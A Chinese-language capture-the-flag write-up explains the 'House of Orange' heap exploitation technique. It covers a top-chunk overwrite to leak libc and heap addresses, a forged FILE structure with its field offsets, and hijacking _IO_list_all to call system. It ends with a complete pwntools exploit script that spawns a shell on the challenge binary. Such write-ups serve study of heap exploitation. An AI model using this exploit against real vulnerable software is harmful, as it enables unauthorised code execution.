House of orange
这道题目是house of orange 的由来
例行检查我就不放了
将程序放入ida中,可以看到edit中有着非常明显的堆溢出
做堆题目一般来说要先泄露libc
这道题目我们可以申请一个chunk,去修改topchunk的大小,然后申请一个远远比修改后的topchunk大的chunk,这样topchunk就会被free掉,从而泄露出libc,然后我申请一个largebin大小的chunk,这样就可以同时将libc和heap的地址都保留在这个chunk里面
这样就可以成功获得libc
接下来就是需要认真学习的新思路,伪造FILE结构体,当unsorted bin里的指针被修改了,发生malloc_printerr报错,而malloc_printerr用到了__IO_list_all指针,会从__IO_list_all指向的地方开始查找合适的FILE结构,并调用里面vtable里的函数。因此,我们在vtable里放入system函数即可getshell
所以我们需要先了解一下 IO_list_all结构体
0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtable
我们的目的是覆盖_chain的地址使其指向我们伪造的file结构体,然后通过vtable 指针改为system的地址从而可以拿到shell
放上俩位师傅的博客,
(16条消息) House of orange_seaaseesa的博客-CSDN博客
(16条消息) IO_file结构、FSOP、house of orange总结_一梦不醒的博客-CSDN博客
完整exp如下
from pwn import * p = process('./pwn1') #p = remote('node4.buuoj.cn',25861) libc = ELF('./libc-2.23.so') elf = ELF('./pwn1') def launch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(size,name): p.sendlineafter('Your choice : ','1') p.sendlineafter('Length of name :',str(size)) p.sendafter('Name :',name) p.sendlineafter('Price of Orange:','123') p.sendlineafter('Color of Orange:','1') def show(): p.sendlineafter('Your choice : ','2') def edit(size,name): p.sendlineafter('Your choice :','3') p.sendlineafter('Length of name :',str(size)) p.sendafter('Name:',name) p.sendlineafter('Price of Orange:','123') p.sendlineafter('Color of Orange:','1') launch_gdb() add(0x30,'a') payload = b'a'*0x30+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xf80) edit(len(payload),payload) add(0x1000,'a') add(0x400,'a') show() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5161 print("libc_base"+hex(libc_base)) _IO_list_all_addr = libc_base + libc.sym['_IO_list_all'] print('_IO_list_all_addr:'+hex(_IO_list_all_addr)) system_addr = libc_base + libc.sym['system'] print('system:'+hex(system_addr)) edit(0x10,'c'*0x10) show() p.recvuntil('c'*0x10) heap_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))-0xe0 print('heap_addr:'+hex(heap_addr)) payload = b'a'*0x400 payload += p64(0)+p64(0x21)+b'a'*0x10 fake = b'/bin/sh\x00'+p64(0x60) #覆盖topchunk的大小为0x60 fake += p64(0)+p64(_IO_list_all_addr-0x10) #伪造file结构 fake += p64(0)+p64(1) fake = fake.ljust(0xc0,b'\x00') fake += p64(0)*3 fake += p64(heap_addr + 0x5e8) fake += p64(0)*2 fake += p64(system_addr) #因为io list all 是io file plus 的链表头指针,io list all这个结构体包含着io file 和 vtable,而vtable指向io jump t,io jump t 里面有着各种子函数 payload += fake edit(len(payload),payload) p.recv() p.sendline('1') p.interactive()